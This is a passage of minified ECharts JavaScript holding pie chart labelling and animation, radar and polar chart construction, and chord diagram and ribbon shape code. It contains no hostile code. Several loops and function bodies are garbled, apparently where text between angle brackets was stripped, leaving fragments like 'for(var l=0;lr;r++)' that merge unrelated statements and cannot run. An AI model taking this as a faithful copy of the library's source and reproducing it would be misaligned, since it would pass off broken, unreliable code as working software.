a=this.series,o=a[e],r=o.data[t],s=this.deepQuery([r,o],"itemStyle."+n+".label.formatter");return s?"function"==typeof s?s.call(this.myChart,{seriesIndex:e,seriesName:o.name||"",series:o,dataIndex:t,data:r,name:r.name,value:r.value,percent:i}):"string"==typeof s?(s=s.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{d}","{d0}"),s=s.replace("{a0}",o.name).replace("{b0}",r.name).replace("{c0}",r.value).replace("{d0}",i)):void 0:r.name},getLabelLine:function(e,t,i,n,a,o,r,l){var h=this.series,U=h[e],d=U.data[t];if(this._needLabelLine(U,d,l)){var p=l?"emphasis":"normal",c=m.merge(m.clone(d.itemStyle)||{},U.itemStyle),u=c[p].labelLine,y=u.lineStyle||{},g=i[0],b=i[1],f=a,k=this.parseRadius(this.zr,U.radius)[1]- -u.length,x=V.cos(o,!0),_=V.sin(o,!0);return new s({zlevel:U.zlevel,z:U.z+1,hoverable:!1,style:{pointList:[[g+f*x,b-f*_],[g+k*x,b-k*_],[d.__labelX,d.__labelY]],strokeColor:y.color||r,lineType:y.type,lineWidth:y.width},_seriesIndex:e,_dataIndex:t})}},_needLabel:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".label.show")},_needLabelLine:function(e,t,i){return this.deepQuery([t,e],"itemStyle."+(i?"emphasis":"normal")+".labelLine.show")},_autoLabelLayout:function(e,t,i){for(var n=[],a=[],o=0,r=e.length;r>o;o++)("outer"===e[o]._labelPosition||"outside"===e[o]._labelPosition)&&(e[o]._rect._y=e[o]._rect.y,e[o]._rect.xa;a++)if(e[a]._rect.y+=n,e[a].style.y+=n,e[a]._labelLine&&(e[a]._labelLine.style.pointList[1][1]+=n,e[a]._labelLine.style.pointList[2][1]+=n),a>t&&i>a+1&&e[a+1]._rect.y>e[a]._rect.y+e[a]._rect.height)return void o(a,n/2);o(i-1,n/2)}function o(t,i){for(var n=t;n>=0&&(e[n]._rect.y-=i,e[n].style.y-=i,e[n]._labelLine&&(e[n]._labelLine.style.pointList[1][1]-=i,e[n]._labelLine.style.pointList[2][1]-=i),!(n>0&&e[n]._rect.y>e[n-1]._rect.y+e[n-1]._rect.height));n--);}function r(e,t,i,n,a){for(var o,r,s,l=i[0],h=i[1],m=a>0?t?Number.MAX_VALUE:0:t?Number.MAX_VALUE:0,V=0,U=e.length;U>V;V++)r=Math.abs(e[V]._rect.y-h),s=e[V]._radius-n,o=n+s>r?Math.sqrt((n+s+20)*(n+s+20)-Math.pow(e[V]._rect.y-h,2)):Math.abs(e[V]._rect.x+(a>0?0:e[V]._rect.width)-l),t&&o>=m&&(o=m-10),!t&&m>=o&&(o=m+10),e[V]._rect.x=e[V].style.x=l+o*a,e[V]._labelLine&&(e[V]._labelLine.style.pointList[2][0]=l+(o-5)*a,e[V]._labelLine.style.pointList[1][0]=l+(o-20)*a),m=o}e.sort(function(e,t){return e._rect.y-t._rect.y});for(var s,l=0,h=e.length,m=[],V=[],U=0;h>U;U++)s=e[U]._rect.y-l,0>s&&a(U,h,-s,n),l=e[U]._rect.y+e[U]._rect.height;this.zr.getHeight()-l<0&&o(h-1,l-this.zr.getHeight());for(var U=0;h>U;U++)e[U]._rect.y>=t[1]?V.push(e[U]):m.push(e[U]);r(V,!0,t,i,n),r(m,!1,t,i,n)},reformOption:function(e){var t=m.merge;return e=t(t(e||{},m.clone(this.ecTheme.pie||{})),m.clone(l.pie)),e.itemStyle.normal.label.textStyle=this.getTextStyle(e.itemStyle.normal.label.textStyle),e.itemStyle.emphasis.label.textStyle=this.getTextStyle(e.itemStyle.emphasis.label.textStyle),this.z=e.z,this.zlevel=e.zlevel,e},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},addDataAnimation:function(e,t){function i(){s--,0===s&&t&&t()}for(var n=this.series,a={},o=0,r=e.length;r>o;o++)a[e[o][0]]=e[o];var s=0,h={},m={},V={},U=this.shapeList;this.shapeList=[];for(var d,p,c,u={},o=0,r=e.length;r>o;o++)d=e[o][0],p=e[o][2],c=e[o][3],n[d]&&n[d].type===l.CHART_TYPE_PIE&&(p?(c||(h[d+"_"+n[d].data.length]="delete"),u[d]=1):c?u[d]=0:(h[d+"_-1"]="delete",u[d]=-1),this._buildSinglePie(d));for(var y,g,o=0,r=this.shapeList.length;r>o;o++)switch(d=this.shapeList[o]._seriesIndex,y=this.shapeList[o]._dataIndex,g=d+"_"+y,this.shapeList[o].type){case"sector":h[g]=this.shapeList[o];break;case"text":m[g]=this.shapeList[o];break;case"polyline":V[g]=this.shapeList[o]}this.shapeList=[];for(var b,o=0,r=U.length;r>o;o++)if(d=U[o]._seriesIndex,a[d]){if(y=U[o]._dataIndex+u[d],g=d+"_"+y,b=h[g],!b)continue;if("sector"===U[o].type)"delete"!=b?(s++,this.zr.animate(U[o].id,"style").when(400,{startAngle:b.style.startAngle,endAngle:b.style.endAngle}).done(i).start()):(s++,this.zr.animate(U[o].id,"style").when(400,u[d]<0?{startAngle:U[o].style.startAngle}:{endAngle:U[o].style.endAngle}).done(i).start());else if("text"===U[o].type||"polyline"===U[o].type)if("delete"===b)this.zr.delShape(U[o].id);else switch(U[o].type){case"text":s++,b=m[g],this.zr.animate(U[o].id,"style").when(400,{x:b.style.x,y:b.style.y}).done(i).start();break;case"polyline":s++,b=V[g],this.zr.animate(U[o].id,"style").when(400,{pointList:b.style.pointList}).done(i).start()}}this.shapeList=U,s||t&&t()},onclick:function(e){var t=this.series;if(this.isClick&&e.target){this.isClick=!1;for(var i,n=e.target,a=n.style,o=h.get(n,"seriesIndex"),r=h.get(n,"dataIndex"),s=0,m=this.shapeList.length;m>s;s++)if(this.shapeList[s].id===n.id){if(o=h.get(n,"seriesIndex"),r=h.get(n,"dataIndex"),a._hasSelected)n.style.x=n.style._x,n.style.y=n.style._y,n.style._hasSelected=!1,this._selected[o][r]=!1;else{var U=((a.startAngle+a.endAngle)/2).toFixed(2)-0;n.style._hasSelected=!0,this._selected[o][r]=!0,n.style._x=n.style.x,n.style._y=n.style.y,i=this.query(t[o],"selectedOffset"),n.style.x+=V.cos(U,!0)*i,n.style.y-=V.sin(U,!0)*i}this.zr.modShape(n.id)}else this.shapeList[s].style._hasSelected&&"single"===this._selectedMode&&(o=h.get(this.shapeList[s],"seriesIndex"),r=h.get(this.shapeList[s],"dataIndex"),this.shapeList[s].style.x=this.shapeList[s].style._x,this.shapeList[s].style.y=this.shapeList[s].style._y,this.shapeList[s].style._hasSelected=!1,this._selected[o][r]=!1,this.zr.modShape(this.shapeList[s].id));this.messageCenter.dispatch(l.EVENT.PIE_SELECTED,e.event,{selected:this._selected,target:h.get(n,"name")},this.myChart),this.zr.refreshNextFrame()}}},m.inherits(t,i),e("../chart").define("pie",t),t}),i("echarts/chart/radar",["require","./base","zrender/shape/Polygon","../component/polar","../config","../util/ecData","zrender/tool/util","zrender/tool/color","../util/accMath","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Polygon");e("../component/polar");var a=e("../config");a.radar={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,polarIndex:0,itemStyle:{normal:{label:{show:!1},lineStyle:{width:2,type:"solid"}},emphasis:{label:{show:!1}}},symbolSize:2};var o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/color");return t.prototype={type:a.CHART_TYPE_RADAR,_buildShape:function(){this.selectedMap={},this._symbol=this.option.symbolList,this._queryTarget,this._dropBoxList=[],this._radarDataCounter=0;for(var e,t=this.series,i=this.component.legend,n=0,o=t.length;o>n;n++)t[n].type===a.CHART_TYPE_RADAR&&(this.serie=this.reformOption(t[n]),this.legendHoverLink=t[n].legendHoverLink||this.legendHoverLink,e=this.serie.name||"",this.selectedMap[e]=i?i.isSelected(e):!0,this.selectedMap[e]&&(this._queryTarget=[this.serie,this.option],this.deepQuery(this._queryTarget,"calculable")&&this._addDropBox(n),this._buildSingleRadar(n),this.buildMark(n)));this.addShapeList()},_buildSingleRadar:function(e){for(var t,i,n,a,o=this.component.legend,r=this.serie.data,s=this.deepQuery(this._queryTarget,"calculable"),l=0;lr;r++)n=this.getDataFromOption(t.value[r]),i="-"!=n?o.getVector(e,r,n):!1,i&&a.push(i);return a},_addSymbol:function(e,t,i,n,a){for(var r,s=this.series,l=this.component.polar,h=0,m=e.length;m>h;h++)r=this.getSymbolShape(this.deepMerge([s[n].data[i],s[n]]),n,s[n].data[i].value[h],h,l.getIndicatorText(a,h),e[h][0],e[h][1],this._symbol[this._radarDataCounter%this._symbol.length],t,"#fff","vertical"),r.zlevel=this.getZlevelBase(),r.z=this.getZBase()+1,o.set(r,"data",s[n].data[i]),o.set(r,"value",s[n].data[i].value),o.set(r,"dataIndex",i),o.set(r,"special",h),this.shapeList.push(r)},_addDataShape:function(e,t,i,a,r,l){var h=this.series,m=[i,this.serie],V=this.getItemStyleColor(this.deepQuery(m,"itemStyle.normal.color"),a,r,i),U=this.deepQuery(m,"itemStyle.normal.lineStyle.width"),d=this.deepQuery(m,"itemStyle.normal.lineStyle.type"),p=this.deepQuery(m,"itemStyle.normal.areaStyle.color"),c=this.deepQuery(m,"itemStyle.normal.areaStyle"),u={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{pointList:e,brushType:c?"both":"stroke",color:p||V||("string"==typeof t?s.alpha(t,.5):t),strokeColor:V||t,lineWidth:U,lineType:d},highlightStyle:{brushType:this.deepQuery(m,"itemStyle.emphasis.areaStyle")||c?"both":"stroke",color:this.deepQuery(m,"itemStyle.emphasis.areaStyle.color")||p||V||("string"==typeof t?s.alpha(t,.5):t),strokeColor:this.getItemStyleColor(this.deepQuery(m,"itemStyle.emphasis.color"),a,r,i)||V||t,lineWidth:this.deepQuery(m,"itemStyle.emphasis.lineStyle.width")||U,lineType:this.deepQuery(m,"itemStyle.emphasis.lineStyle.type")||d}};o.pack(u,h[a],a,i,r,i.name,this.component.polar.getIndicator(h[a].polarIndex)),l&&(u.draggable=!0,this.setCalculable(u)),u=new n(u),this.shapeList.push(u)},_addDropBox:function(e){var t=this.series,i=this.deepQuery(this._queryTarget,"polarIndex");if(!this._dropBoxList[i]){var n=this.component.polar.getDropBox(i);n.zlevel=this.getZlevelBase(),n.z=this.getZBase(),this.setCalculable(n),o.pack(n,t,e,void 0,-1),this.shapeList.push(n),this._dropBoxList[i]=!0}},ondragend:function(e,t){var i=this.series;if(this.isDragend&&e.target){var n=e.target,a=o.get(n,"seriesIndex"),r=o.get(n,"dataIndex");this.component.legend&&this.component.legend.del(i[a].data[r].name),i[a].data.splice(r,1),t.dragOut=!0,t.needRefresh=!0,this.isDragend=!1}},ondrop:function(t,i){var n=this.series;if(this.isDrop&&t.target){var a,r,s=t.target,l=t.dragged,h=o.get(s,"seriesIndex"),m=o.get(s,"dataIndex"),V=this.component.legend;if(-1===m)a={value:o.get(l,"value"),name:o.get(l,"name")},n[h].data.push(a),V&&V.add(a.name,l.style.color||l.style.strokeColor);else{var U=e("../util/accMath");a=n[h].data[m],V&&V.del(a.name),a.name+=this.option.nameConnector+o.get(l,"name"),r=o.get(l,"value");for(var d=0;dh;h++)t=m.polar2cartesian(s,o*Math.PI/180+r*h),l.push({vector:[t[1],-t[0]]})},_getRadius:function(){var e=this.polar[this._index];return this.parsePercent(e.radius,Math.min(this.zr.getWidth(),this.zr.getHeight())/2)},_buildSpiderWeb:function(e){var t=this.polar[e],i=t.__ecIndicator,n=t.splitArea,a=t.splitLine,o=this.getCenter(e),r=t.splitNumber,s=a.lineStyle.color,l=a.lineStyle.width,h=a.show,m=this.deepQuery(this._queryTarget,"axisLine");this._addArea(i,r,o,n,s,l,h),m.show&&this._addLine(i,o,m)},_addAxisLabel:function(t){for(var i,a,o,r,a,s,l,m,V,U,d=e("../util/accMath"),p=this.polar[t],c=this.deepQuery(this._queryTarget,"indicator"),u=p.__ecIndicator,y=this.deepQuery(this._queryTarget,"splitNumber"),g=this.getCenter(t),b=0;b=x;x+=U+1)r=h.merge({},o),l=d.accAdd(s.min,d.accMul(s.step,x)),l="function"==typeof k?k(l):"string"==typeof k?k.replace("{a}","{a0}").replace("{a0}",l):this.numAddCommas(l),r.text=l,r.x=x*a[0]/y+Math.cos(m)*V+g[0],r.y=x*a[1]/y+Math.sin(m)*V+g[1],this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),style:r,draggable:!1,hoverable:!1}))}},_buildText:function(e){for(var t,i,a,o,r,s,l,h=this.polar[e],m=h.__ecIndicator,V=this.deepQuery(this._queryTarget,"indicator"),U=this.getCenter(e),d=0,p=0,c=0;c0?"left":Math.round(t[0])<0?"right":"center",null==o.margin?t=this._mapVector(t,U,1.1):(s=o.margin,d=t[0]>0?s:-s,p=t[1]>0?s:-s,d=0===t[0]?0:d,p=0===t[1]?0:p,t=this._mapVector(t,U,1)),i.textAlign=a,i.x=t[0]+d,i.y=t[1]+p,r=o.rotate?[o.rotate/180*Math.PI,t[0],t[1]]:[0,0,0],this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),style:i,draggable:!1,hoverable:!1,rotation:r})))},getIndicatorText:function(e,t){return this.polar[e]&&this.polar[e].__ecIndicator[t]&&this.polar[e].__ecIndicator[t].text},getDropBox:function(e){var t,i,e=e||0,n=this.polar[e],a=this.getCenter(e),o=n.__ecIndicator,r=o.length,s=[],l=n.type;if("polygon"==l){for(var h=0;r>h;h++)t=o[h].vector,s.push(this._mapVector(t,a,1.2));i=this._getShape(s,"fill","rgba(0,0,0,0)","",1)}else"circle"==l&&(i=this._getCircle("",1,1.2,a,"fill","rgba(0,0,0,0)"));return i},_addArea:function(e,t,i,n,a,o,r){for(var s,l,h,m,V=this.deepQuery(this._queryTarget,"type"),U=0;t>U;U++)l=(t-U)/t,r&&("polygon"==V?(m=this._getPointList(e,l,i),s=this._getShape(m,"stroke","",a,o)):"circle"==V&&(s=this._getCircle(a,o,l,i,"stroke")),this.shapeList.push(s)),n.show&&(h=(t-U-1)/t,this._addSplitArea(e,n,l,h,i,U))},_getCircle:function(e,t,i,n,a,o){var s=this._getRadius();return new r({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:n[0],y:n[1],r:s*i,brushType:a,strokeColor:e,lineWidth:t,color:o},hoverable:!1,draggable:!1})},_getRing:function(e,t,i,n){var a=this._getRadius();return new s({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:n[0],y:n[1],r:t*a,r0:i*a,color:e,brushType:"fill"},hoverable:!1,draggable:!1})},_getPointList:function(e,t,i){for(var n,a=[],o=e.length,r=0;o>r;r++)n=e[r].vector,a.push(this._mapVector(n,i,t));return a},_getShape:function(e,t,i,n,a){return new o({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{pointList:e,brushType:t,color:i,strokeColor:n,lineWidth:a},hoverable:!1,draggable:!1})},_addSplitArea:function(e,t,i,n,a,o){var r,s,l,h,m,V=e.length,U=t.areaStyle.color,d=[],V=e.length,p=this.deepQuery(this._queryTarget,"type");if("string"==typeof U&&(U=[U]),s=U.length,r=U[o%s],"polygon"==p)for(var c=0;V>c;c++)d=[],l=e[c].vector,h=e[(c+1)%V].vector,d.push(this._mapVector(l,a,i)),d.push(this._mapVector(l,a,n)),d.push(this._mapVector(h,a,n)),d.push(this._mapVector(h,a,i)),m=this._getShape(d,"fill",r,"",1),this.shapeList.push(m);else"circle"==p&&(m=this._getRing(r,i,n,a),this.shapeList.push(m))},_mapVector:function(e,t,i){return[e[0]*i+t[0],e[1]*i+t[1]]},getCenter:function(e){var e=e||0;return this.parseCenter(this.zr,this.polar[e].center)},_addLine:function(e,t,i){for(var n,a,o=e.length,r=i.lineStyle,s=r.color,l=r.width,h=r.type,m=0;o>m;m++)a=e[m].vector,n=this._getLine(t[0],t[1],a[0]+t[0],a[1]+t[1],s,l,h),this.shapeList.push(n)},_getLine:function(e,t,i,n,o,r,s){return new a({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{xStart:e,yStart:t,xEnd:i,yEnd:n,strokeColor:o,lineWidth:r,lineType:s},hoverable:!1})},_adjustIndicatorValue:function(t){for(var i,n,a,o=this.polar[t],r=this.deepQuery(this._queryTarget,"indicator"),s=r.length,l=o.__ecIndicator,h=this._getSeriesData(t),m=o.boundaryGap,V=o.splitNumber,U=o.scale,d=e("../util/smartSteps"),p=0;s>p;p++){if("number"==typeof r[p].max)i=r[p].max,n=r[p].min||0,a={max:i,min:n};else{var c=this._findValue(h,p,V,m);n=c.min,i=c.max}!U&&n>=0&&i>=0&&(n=0),!U&&0>=n&&0>=i&&(i=0);var u=d(n,i,V,a);l[p].value={min:u.min,max:u.max,step:u.step}}},_getSeriesData:function(e){for(var t,i,n,a=[],o=this.component.legend,r=0;ro||void 0===o)&&(o=e),(r>e||void 0===r)&&(r=e)}var o,r,s;if(e&&0!==e.length){if(1==e.length&&(r=0),1!=e.length)for(var l=0;l0?r=o/i:o/=i),{max:o,min:r}}},getVector:function(e,t,i){e=e||0,t=t||0;var n=this.polar[e].__ecIndicator;if(!(t>=n.length)){var a,o=this.polar[e].__ecIndicator[t],r=this.getCenter(e),s=o.vector,l=o.value.max,h=o.value.min;if("undefined"==typeof i)return r;switch(i){case"min":i=h;break;case"max":i=l;break;case"center":i=(l+h)/2}return a=l!=h?(i-h)/(l-h):.5,this._mapVector(s,r,a)}},isInside:function(e){var t=this.getNearestIndex(e);return t?t.polarIndex:-1},getNearestIndex:function(e){for(var t,i,n,a,o,r,s,l,h,V=0;Va[0])return{polarIndex:V,valueIndex:Math.floor((h+l/2)/l)%s}}},getIndicator:function(e){var e=e||0;return this.polar[e].indicator},refresh:function(e){e&&(this.option=e,this.polar=this.option.polar,this.series=this.option.series),this.clear(),this._buildShape()}},h.inherits(t,i),e("../component").define("polar",t),t}),i("echarts/util/coordinates",["require","zrender/tool/math"],function(e){function t(e,t){return[e*n.sin(t),e*n.cos(t)]}function i(e,t){return[Math.sqrt(e*e+t*t),Math.atan(t/e)]}var n=e("zrender/tool/math");return{polar2cartesian:t,cartesian2polar:i}}),i("echarts/chart/chord",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Sector","../util/shape/Ribbon","../util/shape/Icon","zrender/shape/BezierCurve","../config","../util/ecData","zrender/tool/util","zrender/tool/vector","../data/Graph","../layout/Chord","../chart"],function(e){"use strict";function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.scaleLineLength=4,this.scaleUnitAngle=4,this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Sector"),r=e("../util/shape/Ribbon"),s=e("../util/shape/Icon"),l=e("zrender/shape/BezierCurve"),h=e("../config");h.chord={zlevel:0,z:2,clickable:!0,radius:["65%","75%"],center:["50%","50%"],padding:2,sort:"none",sortSub:"none",startAngle:90,clockWise:!0,ribbonType:!0,minRadius:10,maxRadius:20,symbol:"circle",showScale:!1,showScaleText:!1,itemStyle:{normal:{borderWidth:0,borderColor:"#000",label:{show:!0,rotate:!1,distance:5},chordStyle:{width:1,color:"black",borderWidth:1,borderColor:"#999",opacity:.5}},emphasis:{borderWidth:0,borderColor:"#000",chordStyle:{width:1,color:"black",borderWidth:1,borderColor:"#999"}}}};var m=e("../util/ecData"),V=e("zrender/tool/util"),U=e("zrender/tool/vector"),d=e("../data/Graph"),p=e("../layout/Chord");return t.prototype={type:h.CHART_TYPE_CHORD,_init:function(){var e=this.series;this.selectedMap={};for(var t={},i={},n=0,a=e.length;a>n;n++)if(e[n].type===this.type){var o=this.isSelected(e[n].name);this.selectedMap[e[n].name]=o,o&&this.buildMark(n),this.reformOption(e[n]),t[e[n].name]=e[n]}for(var n=0,a=e.length;a>n;n++)if(e[n].type===this.type)if(e[n].insertToSerie){var r=t[e[n].insertToSerie];e[n]._referenceSerie=r}else i[e[n].name]=[e[n]];for(var n=0,a=e.length;a>n;n++)if(e[n].type===this.type&&e[n].insertToSerie){for(var s=e[n]._referenceSerie;s&&s._referenceSerie;)s=s._referenceSerie;i[s.name]&&this.selectedMap[e[n].name]&&i[s.name].push(e[n])}for(var l in i)this._buildChords(i[l]);this.addShapeList()},_getNodeCategory:function(e,t){return e.categories&&e.categories[t.category||0]},_getNodeQueryTarget:function(e,t){var i=this._getNodeCategory(e,t);return[t,i,e]},_getEdgeQueryTarget:function(e,t,i){return i=i||"normal",[t.itemStyle&&t.itemStyle[i],e.itemStyle[i].chordStyle]},_buildChords:function(e){for(var t=[],i=e[0],n=function(e){return e.layout.size>0},a=function(e){return function(t){return e.getEdge(t.node2,t.node1)}},o=0;oa;a++){var r=n[a];if(r&&!r.ignore){var s=this._getNodeCategory(t,r),l=s?s.name:r.name;if(this.selectedMap[l]=this.isSelected(l),this.selectedMap[l]){var h=i.addNode(r.name,r);h.rawIndex=a}}}for(var a=0,o=e.links.length;o>a;a++){var m=e.links[a],V=m.source,U=m.target;"number"==typeof V&&(V=n[V],V&&(V=V.name)),"number"==typeof U&&(U=n[U],U&&(U=U.name));var p=i.addEdge(V,U,m);p&&(p.rawIndex=a)}return i.eachNode(function(e){var i=e.data.value;if(null==i)if(i=0,t.ribbonType)for(var n=0;n0&&(p.style.brushType="both"),p.highlightStyle.lineWidth>0&&(p.highlightStyle.brushType="both"),m.pack(p,e,t,i.data,i.rawIndex,i.id,i.category),this.shapeList.push(p),i.shape=p},this)},_buildNodeIcons:function(e,t,i,n){var a=this.parseCenter(this.zr,n.center),o=this.parseRadius(this.zr,n.radius),r=o[1];i.eachNode(function(i){var o=i.layout.startAngle,l=i.layout.endAngle,h=(o+l)/2,V=r*Math.cos(h),U=r*Math.sin(h),d=this._getNodeQueryTarget(n,i.data),p=this._getNodeCategory(n,i.data),c=this.deepQuery(d,"itemStyle.normal.color");c||(c=this.getColor(p?p.name:i.id));var u=new s({zlevel:e.zlevel,z:e.z+1,style:{x:-i.layout.size,y:-i.layout.size,width:2*i.layout.size,height:2*i.layout.size,iconType:this.deepQuery(d,"symbol"),color:c,brushType:"both",lineWidth:this.deepQuery(d,"itemStyle.normal.borderWidth"),strokeColor:this.deepQuery(d,"itemStyle.normal.borderColor")},highlightStyle:{color:this.deepQuery(d,"itemStyle.emphasis.color"),lineWidth:this.deepQuery(d,"itemStyle.emphasis.borderWidth"),strokeColor:this.deepQuery(d,"itemStyle.emphasis.borderColor")},clickable:n.clickable,position:[V+a[0],U+a[1]]});m.pack(u,e,t,i.data,i.rawIndex,i.id,i.category),this.shapeList.push(u),i.shape=u},this)},_buildLabels:function(e,t,i,a){var o=this.query(a,"itemStyle.normal.label.rotate"),r=this.query(a,"itemStyle.normal.label.distance"),s=this.parseCenter(this.zr,a.center),l=this.parseRadius(this.zr,a.radius),h=a.clockWise,m=h?1:-1; + +i.eachNode(function(t){var i=t.layout.startAngle/Math.PI*180*m,h=t.layout.endAngle/Math.PI*180*m,V=(i*-m+h*-m)/2;V%=360,0>V&&(V+=360);var d=90>=V||V>=270;V=V*Math.PI/180;var p=[Math.cos(V),-Math.sin(V)],c=0;c=a.ribbonType?a.showScaleText?35+r:r:r+t.layout.size;var u=U.scale([],p,l[1]+c);U.add(u,u,s);var y={zlevel:e.zlevel,z:e.z+1,hoverable:!1,style:{text:null==t.data.label?t.id:t.data.label,textAlign:d?"left":"right"}};o?(y.rotation=d?V:Math.PI+V,y.style.x=d?l[1]+c:-l[1]-c,y.style.y=0,y.position=s.slice()):(y.style.x=u[0],y.style.y=u[1]),y.style.color=this.deepQuery([t.data,a],"itemStyle.normal.label.textStyle.color")||"#000000",y.style.textFont=this.getFont(this.deepQuery([t.data,a],"itemStyle.normal.label.textStyle")),y=new n(y),this.shapeList.push(y),t.labelShape=y},this)},_buildRibbons:function(e,t,i,n){var a=e[t],o=this.parseCenter(this.zr,n.center),s=this.parseRadius(this.zr,n.radius);i.eachEdge(function(l,h){var V,U=i.getEdge(l.node2,l.node1);if(U&&!l.shape){if(U.shape)return void(l.shape=U.shape);var d=l.layout.startAngle/Math.PI*180,p=l.layout.endAngle/Math.PI*180,c=U.layout.startAngle/Math.PI*180,u=U.layout.endAngle/Math.PI*180;V=this.getColor(1===e.length?l.layout.weight<=U.layout.weight?l.node1.id:l.node2.id:a.name);var y,g,b=this._getEdgeQueryTarget(a,l.data),f=this._getEdgeQueryTarget(a,l.data,"emphasis"),k=new r({zlevel:a.zlevel,z:a.z,style:{x:o[0],y:o[1],r:s[0],source0:d,source1:p,target0:c,target1:u,brushType:"both",opacity:this.deepQuery(b,"opacity"),color:V,lineWidth:this.deepQuery(b,"borderWidth"),strokeColor:this.deepQuery(b,"borderColor"),clockWise:n.clockWise},clickable:n.clickable,highlightStyle:{brushType:"both",opacity:this.deepQuery(f,"opacity"),lineWidth:this.deepQuery(f,"borderWidth"),strokeColor:this.deepQuery(f,"borderColor")}});l.layout.weight<=U.layout.weight?(y=U.node1,g=U.node2):(y=l.node1,g=l.node2),m.pack(k,a,t,l.data,null==l.rawIndex?h:l.rawIndex,l.data.name||y.id+"-"+g.id,y.id,g.id),this.shapeList.push(k),l.shape=k}},this)},_buildEdgeCurves:function(e,t,i,n,a){var o=e[t],r=this.parseCenter(this.zr,n.center);i.eachEdge(function(e,i){var n=a.getNodeById(e.node1.id),s=a.getNodeById(e.node2.id),h=n.shape,V=s.shape,U=this._getEdgeQueryTarget(o,e.data),d=this._getEdgeQueryTarget(o,e.data,"emphasis"),p=new l({zlevel:o.zlevel,z:o.z,style:{xStart:h.position[0],yStart:h.position[1],xEnd:V.position[0],yEnd:V.position[1],cpX1:r[0],cpY1:r[1],lineWidth:this.deepQuery(U,"width"),strokeColor:this.deepQuery(U,"color"),opacity:this.deepQuery(U,"opacity")},highlightStyle:{lineWidth:this.deepQuery(d,"width"),strokeColor:this.deepQuery(d,"color"),opacity:this.deepQuery(d,"opacity")}});m.pack(p,o,t,e.data,null==e.rawIndex?i:e.rawIndex,e.data.name||e.node1.id+"-"+e.node2.id,e.node1.id,e.node2.id),this.shapeList.push(p),e.shape=p},this)},_buildScales:function(e,t,i){var o,r,s=e.clockWise,l=this.parseCenter(this.zr,e.center),h=this.parseRadius(this.zr,e.radius),m=s?1:-1,V=0,d=-(1/0);e.showScaleText&&(i.eachNode(function(e){var t=e.data.value;t>d&&(d=t),V+=t}),d>1e10?(o="b",r=1e-9):d>1e7?(o="m",r=1e-6):d>1e4?(o="k",r=.001):(o="",r=1));var p=V/(360-e.padding);i.eachNode(function(t){for(var i=t.layout.startAngle/Math.PI*180,V=t.layout.endAngle/Math.PI*180,d=i;;){if(s&&d>V||!s&&V>d)break;var c=d/180*Math.PI,u=[Math.cos(c),Math.sin(c)],y=U.scale([],u,h[1]+1);U.add(y,y,l);var g=U.scale([],u,h[1]+this.scaleLineLength);U.add(g,g,l);var b=new a({zlevel:e.zlevel,z:e.z-1,hoverable:!1,style:{xStart:y[0],yStart:y[1],xEnd:g[0],yEnd:g[1],lineCap:"round",brushType:"stroke",strokeColor:"#666",lineWidth:1}});this.shapeList.push(b),d+=m*this.scaleUnitAngle}if(e.showScaleText)for(var f=i,k=5*p*this.scaleUnitAngle,x=0;;){if(s&&f>V||!s&&V>f)break;var c=f;c%=360,0>c&&(c+=360);var _=90>=c||c>=270,L=new n({zlevel:e.zlevel,z:e.z-1,hoverable:!1,style:{x:_?h[1]+this.scaleLineLength+4:-h[1]-this.scaleLineLength-4,y:0,text:Math.round(10*x)/10+o,textAlign:_?"left":"right"},position:l.slice(),rotation:_?[-c/180*Math.PI,0,0]:[-(c+180)/180*Math.PI,0,0]});this.shapeList.push(L),x+=k*r,f+=m*this.scaleUnitAngle*5}},this)},refresh:function(e){if(e&&(this.option=e,this.series=e.series),this.legend=this.component.legend,this.legend)this.getColor=function(e){return this.legend.getColor(e)},this.isSelected=function(e){return this.legend.isSelected(e)};else{var t={},i=0;this.getColor=function(e){return t[e]?t[e]:(t[e]||(t[e]=this.zr.getColor(i++)),t[e])},this.isSelected=function(){return!0}}this.backupShapeList(),this._init()},reformOption:function(e){var t=V.merge;e=t(t(e||{},this.ecTheme.chord),h.chord),e.itemStyle.normal.label.textStyle=this.getTextStyle(e.itemStyle.normal.label.textStyle),this.z=e.z,this.zlevel=e.zlevel}},V.inherits(t,i),e("../chart").define("chord",t),t}),i("echarts/util/shape/Ribbon",["require","zrender/shape/Base","zrender/shape/util/PathProxy","zrender/tool/util","zrender/tool/area"],function(e){function t(e){i.call(this,e),this._pathProxy=new n}var i=e("zrender/shape/Base"),n=e("zrender/shape/util/PathProxy"),a=e("zrender/tool/util"),o=e("zrender/tool/area");return t.prototype={type:"ribbon",buildPath:function(e,t){var i=t.clockWise||!1,n=this._pathProxy;n.begin(e);var a=t.x,o=t.y,r=t.r,s=t.source0/180*Math.PI,l=t.source1/180*Math.PI,h=t.target0/180*Math.PI,m=t.target1/180*Math.PI,V=a+Math.cos(s)*r,U=o+Math.sin(s)*r,d=a+Math.cos(l)*r,p=o+Math.sin(l)*r,c=a+Math.cos(h)*r,u=o+Math.sin(h)*r,y=a+Math.cos(m)*r,g=o+Math.sin(m)*r;n.moveTo(V,U),n.arc(a,o,t.r,s,l,!i),n.bezierCurveTo(.7*(a-d)+d,.7*(o-p)+p,.7*(a-c)+c,.7*(o-u)+u,c,u),(t.source0!==t.target0||t.source1!==t.target1)&&(n.arc(a,o,t.r,h,m,!i),n.bezierCurveTo(.7*(a-y)+y,.7*(o-g)+g,.7*(a-V)+V,.7*(o-U)+U,V,U))},getRect:function(e){return e.__rect?e.__rect:(this._pathProxy.isEmpty()||this.buildPath(null,e),this._pathProxy.fastBoundingRect())},isCover:function(e,t){var i=this.getRect(this.style);return 